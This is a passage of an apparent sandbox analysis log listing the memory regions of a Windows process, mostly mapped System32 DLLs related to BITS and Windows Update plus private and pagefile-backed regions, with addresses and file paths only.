"c:\\windows\\system32\\sxs.dll") Region: id = 1150 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1151 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1152 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1153 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1154 start_va = 0x7fefd680000 end_va = 0x7fefd6b9fff entry_point = 0x7fefd680000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1155 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1156 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1157 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1158 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1159 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1160 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1161 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1162 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1163 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1164 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1165 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1166 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1167 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1168 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1169 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1170 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1171 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1172 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1173 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1174 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1175 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1176 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1177 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1178 start_va = 0x7fffff46000 end_va = 0x7fffff47fff entry_point = 0x0 region_type = private name = "private_0x000007fffff46000" filename = "" Region: id = 1179 start_va = 0x7fffff48000 end_va = 0x7fffff49fff entry_point = 0x0 region_type = private name = "private_0x000007fffff48000" filename = "" Region: id = 1180 start_va = 0x7fffff4a000 end_va = 0x7fffff4bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff4a000" filename = "" Region: id = 1181 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 1182 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 1183 start_va = 0x7fffff50000 end_va = 0x7fffff51fff entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 1184 start_va = 0x7fffff52000 end_va = 0x7fffff53fff entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1185 start_va = 0x7fffff54000 end_va = 0x7fffff55fff entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1186 start_va = 0x7fffff56000 end_va = 0x7fffff57fff entry_point = 0x0 region_type = private name = "private_0x000007fffff56000" filename = "" Region: id = 1187 start_va = 0x7fffff58000 end_va = 0x7fffff59fff entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1188 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 1189 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 1190 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 1191 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1192 start_va = 0x7fffff62000 end_va = 0x7fffff63fff entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1193 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1194 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1195 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1196 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 1197 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1198 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1199 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1200 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1201 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1202 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1203 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1204 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1205 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1206 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1207 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1208 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1209 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1210 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1211 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1212 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1213 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1214 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1215 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1216 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1217 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1218 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1219 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1220 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1221 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1222 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1223 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1224 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1225 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1226 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1227 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1228 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1229 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1230 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1231 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1232 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1233 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1234 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1235 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1725 start_va = 0x7fee32b0000 end_va = 0x7fee3381fff entry_point = 0x7fee32b0000 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1726 start_va = 0x7fefae60000 end_va = 0x7fefae69fff entry_point = 0x7fefae60000 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 2174 start_va = 0xee0000 end_va = 0xee0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 2175 start_va = 0xf70000 end_va = 0xf70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f70000" filename = "" Region: id = 2176 start_va = 0x4f50000 end_va = 0x4fcffff entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 2177 start_va = 0x7fee2e30000 end_va = 0x7fee2e41fff entry_point = 0x7fee2e30000 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 2178 start_va = 0x2fa0000 end_va = 0x301ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 2179 start_va = 0x7fee2de0000 end_va = 0x7fee2e24fff entry_point = 0x7fee2de0000 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 2180 start_va = 0x7fef6180000 end_va = 0x7fef6190fff entry_point = 0x7fef6180000 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2181 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2182 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2183 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2184 start_va = 0x27a0000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 2185 start_va = 0x2be0000 end_va = 0x2c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 2186 start_va = 0x30a0000 end_va = 0x311ffff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 2187 start_va = 0x3530000 end_va = 0x35affff entry_point = 0x0 region_type = private name = "private_0x0000000003530000" filename = "" Region: id = 2188 start_va = 0x3780000 end_va = 0x37fffff entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 2189 start_va = 0x4370000 end_va = 0x43effff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 2190 start_va = 0x4580000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 2191 start_va = 0x4860000 end_va = 0x48dffff entry_point = 0x0 region_type = private name = "private_0x0000000004860000" filename = "" Region: id = 2192 start_va = 0x4a80000 end_va = 0x4afffff entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 2193 start_va = 0x7feddc60000 end_va = 0x7fedded9fff entry_point = 0x7feddc60000 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2194 start_va = 0x7fee27a0000 end_va = 0x7fee27aefff entry_point = 0x7fee27a0000 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 2195 start_va = 0x7fee27b0000 end_va = 0x7fee2a02fff entry_point = 0x7fee27b0000 region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 2196 start_va = 0x7fef4de0000 end_va = 0x7fef4e50fff entry_point = 0x7fef4de0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 2197 start_va = 0x7fef86c0000 end_va = 0x7fef86dafff entry_point = 0x7fef86c0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2198 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 2199 start_va = 0x7fffff50000 end_va = 0x7fffff51fff entry_point = 0x0 region_type = private name = "private_0x000007fffff50000" filename = "" Region: id = 2200 start_va = 0x7fffff72000 end_va = 0x7fffff73fff entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 2201 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 2202 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2203 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 2204 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2205 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 2206 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2207 start_va = 0x4dd0000 end_va = 0x4ecffff entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 2208 start_va = 0x5100000 end_va = 0x510ffff entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 2209 start_va = 0x777a0000 end_va = 0x777a6fff entry_point = 0x777a0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2210 start_va = 0x7fefcf70000 end_va = 0x7fefcf77fff entry_point = 0x7fefcf70000 region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 2211 start_va = 0x7fee2790000 end_va = 0x7fee279cfff entry_point = 0x7fee2790000 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 2341 start_va = 0x1350000 end_va = 0x1350fff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 2342 start_va = 0x13e0000 end_va = 0x13e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013e0000" filename = "" Region: id = 2343 start_va = 0x1470000 end_va = 0x1477fff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 2344 start_va = 0x1490000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 2345 start_va = 0x1520000 end_va = 0x1539fff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 2346 start_va = 0x15c0000 end_va = 0x15cffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 2347 start_va = 0x15d0000 end_va = 0x15dffff entry_point = 0x0 region_type = private name = "private_0x00000000015d0000" filename = "" Region: id = 2348 start_va = 0x15e0000 end_va = 0x15e0fff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 2349 start_va = 0x1670000 end_va = 0x1671fff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 2350 start_va = 0x1700000 end_va = 0x1700fff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 2351 start_va = 0x1710000 end_va = 0x171ffff entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 2352 start_va = 0x1720000 end_va = 0x1727fff entry_point = 0x0 region_type = private name = "private_0x0000000001720000" filename = "" Region: id = 2353 start_va = 0x1730000 end_va = 0x173ffff entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 2354 start_va = 0x1740000 end_va = 0x174ffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 2355 start_va = 0x17d0000 end_va = 0x17d7fff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2356 start_va = 0x17e0000 end_va = 0x17effff entry_point = 0x17e0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2357 start_va = 0x17f0000 end_va = 0x17fffff entry_point = 0x17f0000 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2358 start_va = 0x1880000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 2359 start_va = 0x1890000 end_va = 0x189ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 2360 start_va = 0x18a0000 end_va = 0x18affff entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 2361 start_va = 0x1930000 end_va = 0x1937fff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 2362 start_va = 0x1940000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 2363 start_va = 0x1d20000 end_va = 0x1d2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 2364 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 2365 start_va = 0x1d40000 end_va = 0x1d4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d40000" filename = "" Region: id = 2366 start_va = 0x1d50000 end_va = 0x1d5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d50000" filename = "" Region: id = 2367 start_va = 0x1d60000 end_va = 0x1d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d60000" filename = "" Region: id = 2368 start_va = 0x1d70000 end_va = 0x1d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d70000" filename = "" Region: id = 2369 start_va = 0x1e00000 end_va = 0x1e0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 2370 start_va = 0x1e10000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e10000" filename = "" Region: id = 2371 start_va = 0x1e20000 end_va = 0x1e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 2372 start_va = 0x1e30000 end_va = 0x1e3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 2373 start_va = 0x1e40000 end_va = 0x1e4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 2374 start_va = 0x1e50000 end_va = 0x1e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 2375 start_va = 0x2de0000 end_va = 0x2e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002de0000" filename = "" Region: id = 2376 start_va = 0x2e20000 end_va = 0x2e5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e20000" filename = "" Region: id = 2377 start_va = 0x3020000 end_va = 0x309ffff entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 2378 start_va = 0x4fd0000 end_va = 0x508ffff entry_point = 0x4fd0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2379 start_va = 0x5110000 end_va = 0x520ffff entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 2380 start_va = 0x5210000 end_va = 0x530ffff entry_point = 0x0 region_type = private name = "private_0x0000000005210000" filename = "" Region: id = 2381 start_va = 0x5310000 end_va = 0x540ffff entry_point = 0x0 region_type = private name = "private_0x0000000005310000" filename = "" Region: id = 2382 start_va = 0x5410000 end_va = 0x550ffff entry_point = 0x0 region_type = private name = "private_0x0000000005410000" filename = "" Region: id = 2383 start_va = 0x5530000 end_va = 0x55affff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 2384 start_va = 0x55c0000 end_va = 0x563ffff entry_point = 0x0 region_type = private name = "private_0x00000000055c0000" filename = "" Region: id = 2385 start_va = 0x5640000 end_va = 0x573ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005640000" filename = "" Region: id = 2386 start_va = 0x5740000 end_va = 0x583ffff entry_point = 0x0 region_type = private name = "private_0x0000000005740000" filename = "" Region: id = 2387 start_va = 0x5840000 end_va = 0x683ffff entry_point = 0x0 region_type = private name = "private_0x0000000005840000" filename = "" Region: id = 2388 start_va = 0x7fee21a0000 end_va = 0x7fee2373fff entry_point = 0x7fee21a0000 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 2389 start_va = 0x7fffff42000 end_va = 0x7fffff43fff entry_point = 0x0 region_type = private name = "private_0x000007fffff42000" filename = "" Region: id = 2390 start_va = 0x7fffff44000 